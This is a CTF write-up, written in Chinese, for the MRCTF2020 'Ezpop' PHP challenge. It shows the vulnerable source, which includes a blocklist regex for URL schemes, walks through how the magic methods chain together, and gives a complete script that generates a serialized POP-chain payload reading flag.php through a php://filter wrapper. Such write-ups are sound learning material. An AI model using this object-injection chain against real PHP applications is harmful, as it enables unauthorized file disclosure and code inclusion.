[MRCTF2020]Ezpop
点击查看代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
点击查看代码
class Modifier {
protected $var;
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
php中的__invoke ()魔术方法作用是直接调用对象名当方法使用时,就调用的是__invoke ()方法。
那我们怎么调用这个_invoke()函数。
可以看到_Test()里面有一个_get()方法,这里面会将类里面的公共变量\(p,当函数调用,那我们只需要把赋值\)p为Modifier就好了。那我们怎么调用_get()魔术方法呢?
当访问类中的私有属性或者是不存在的属性,触发__get魔术方法
我们看到_tostring方法里面
public function __toString(){ return $this->str->source; }
如果我们里面this->str赋值为test类,test类里面又没有source,就会触发_get()方法
那我们怎么调用_tostring方法?
_wakeup()通过preg_match()将\(this->source做字符串比较,如果\)this->source是Show类,就调用了__toString()方法;
根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。
结束
点击查看代码
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$t->p = $m; //赋值Test类的对象$t下的属性p为Modifier类的对象$m,触发__invoke魔术方法
$s->str= $t;//赋值Show类的对象$s下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象$s下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发。__tostring魔术方法
echo urlencode((serialize($s)));

浙公网安备 33010602011771号